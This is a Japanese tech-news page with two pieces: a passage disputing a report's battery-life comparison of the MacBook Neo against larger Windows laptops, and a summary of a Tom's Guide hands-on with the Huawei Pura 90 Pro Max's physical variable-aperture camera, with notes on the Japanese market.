Neoは13インチ・約1.2kg（2.7ポンド）の軽量モバイル機として設計されている。ところが報告書が対抗として挙げるWindowsノートはすべて15.3〜16インチの大型機。「大きな筐体には大きなバッテリーを積める」という物理的事実を利用した比較であり、同じカテゴリーの製品同士とは言い難い。 バッテリー実測値の比較 Tom’s Guideの実機テストは、一律に「56%長い」という主張が成立しないことを示している。 機種 実測バッテリー持続時間 MacBook Neo 13時間28分 Lenovo IdeaPad Slim 3x（15.3"） 16時間29分 HP OmniBook X Flip 14（Intel Core Ultra 5） 8時間32分 HP OmniBook 5 14 16時間02分 HP OmniBook X Flip 14はMacBook Neoより約5時間も短い結果となっており、「全機種でWindowsが優位」とは言えない実態が浮かぶ。また報告書中ではIdeaPad Slim 3xを「最小・最安値機」として推しているにもかかわらず、寸法・重量データが一切記載されていない点も、Tom’s Guideは問題視している。 日本市場での注目点 MacBook Neoは日本でも89,800円前後で販売されており、国内の「サブPC需要」や「学生・若手社会人層」に訴求力の高い価格帯だ。今回の報告書で名の挙がったLenovo IdeaPad Slim 3xやHP OmniBook 5はAmazon.co.jpなどで購入可能だが、15インチ超のモデルが中心となるため、持ち運び重視の日本の通勤・通学需要に直接当てはまるとは限らない。日本市場で13インチクラスの同価格帯での「正面対決」を見るとすれば、各メーカーのラインナップをサイズ・価格で揃えた比較が必要だろう。 ...

Tom’s Guideのレビュアー、Sanuj Bhatia氏が2026年5月8日に報告した内容によると、Huaweiの新フラッグシップ「Pura 90 Pro Max」が、スマートフォンカメラの常識を変えうる機能を搭載しているという。中国で発売済みのこの端末は、f/1.4〜f/4.0の10段階物理可変絞りを主カメラに採用。Bhatia氏はタイで行われた別製品の発表会の際にこの端末を試用する機会を得たと伝えている。 なぜこの製品が注目か——「物理絞り」がスマホにもたらす意味 スマートフォンのカメラは長らく「固定絞り」が常識だった。たとえばiPhone 17 ProのメインカメラはF1.8固定で、暗所でも明所でも同じ開口部で撮影し、露出はシャッタースピードやISO感度、ソフトウェア処理で補う設計だ。 Pura 90 Pro Maxはこの制約を物理的に取り払った。f/1.4まで開放することで夜景や暗所での光量を最大限に取り込み、明るい屋外ではf/4.0まで絞り込んで過露出を防ぐ。一眼カメラユーザーには当然の操作が、ポケットに収まるスマートフォンで実現した形だ。 海外レビューのポイント——Tom’s Guideが直接ハンズオン Tom’s GuideのBhatia氏は「これはまさにiPhone 18 Proがコピーすべき機能だ」と明言している。同氏は直前にOppo Find X9 Ultraの10倍光学ズームを高く評価した文脈でも中国メーカーのカメラ技術優位に触れており、今回のHuaweiの実装はその評価をさらに強化するものだったという。 カメラ構成（主要スペック） プライマリ：50MP／RYYBセンサー／10段階物理可変絞り（f/1.4〜f/4.0） 超広角：40MP 望遠：200MP 注目技術ポイント RYYBセンサー：従来のRGB配列の代わりに黄色ピクセルを採用。Huawei公式によれば光の取り込み量が向上し、暗所でより明るくクリーンな写真が得られるとされる LOFIC（Lateral Overflow Integration Capacitor）：ダイナミックレンジ改善技術。明暗差の大きいシーンでも白飛び・黒つぶれを抑えた自然な仕上がりに貢献するという Proモードでの手動制御：通常の自動モードに加え、カメラアプリのProモードから絞り値を手動指定可能 Bhatia氏はこの組み合わせにより「メインセンサーから直接、被写界深度のコントロールが可能になった」と評価している。ただしレビューはハンズオン段階の報告であり、詳細な実写サンプル比較には至っていない点は留意が必要だ。 日本市場での注目点 Pura 90 Pro Maxは現時点で中国国内向けリリースのみ。グローバル展開の具体的な予定は発表されていない。Huaweiは米国の輸出規制の影響で日本市場での展開も大幅に縮小しており、国内での正規入手は現実的ではない状況だ。 一方、この機能の市場への波及効果は注目に値する。Tom’s Guideの報道ではAppleがiPhone 18 Pro／Pro Max向けに可変絞りシステムの開発を進めているという情報も併せて紹介されており、部品調達の段階に入っているとされる。実装の完成度についての詳細はまだ明らかでないが、もし実現すれば固定絞りが続いてきたiPhoneカメラの大きな転換点となるはずだ。 価格帯について言えば、中国でのPura 90 Pro Maxは最上位フラッグシップに位置する端末であり、グローバル版が出た場合もiPhone 17 Pro Maxクラスの価格帯が想定される。 筆者の見解 Bhatia氏のレポートが示す通り、カメラハードウェアの革新はここ数年、中国メーカーが主導する形で進んでいる。AppleもSamsungも処理エンジンやAI補正の洗練度では高い水準を維持しているが、物理的な光学設計への投資という点では一歩遅れているように見える。 可変絞り自体は一眼カメラの世界では数十年前からある枯れた技術だ。それをスマートフォンのボディに収めるための小型化・信頼性確保は決して簡単ではないが、Huaweiが量産端末で実現した以上、「できない」理由は消えた。AppleがこれをiPhone 18 Proで実装するなら、それはユーザーにとって純粋にうれしいアップデートになる。 ただし日本でPura 90 Pro Maxを手に入れる手段が現実的でない以上、国内ユーザーが恩恵を受けるためにはAppleやSamsungがキャッチアップするまで待つほかない。iPhone 18 Proの発表時に可変絞りが正式に明かされるかどうか、秋の発表を注目して見たい。 関連製品リンク ...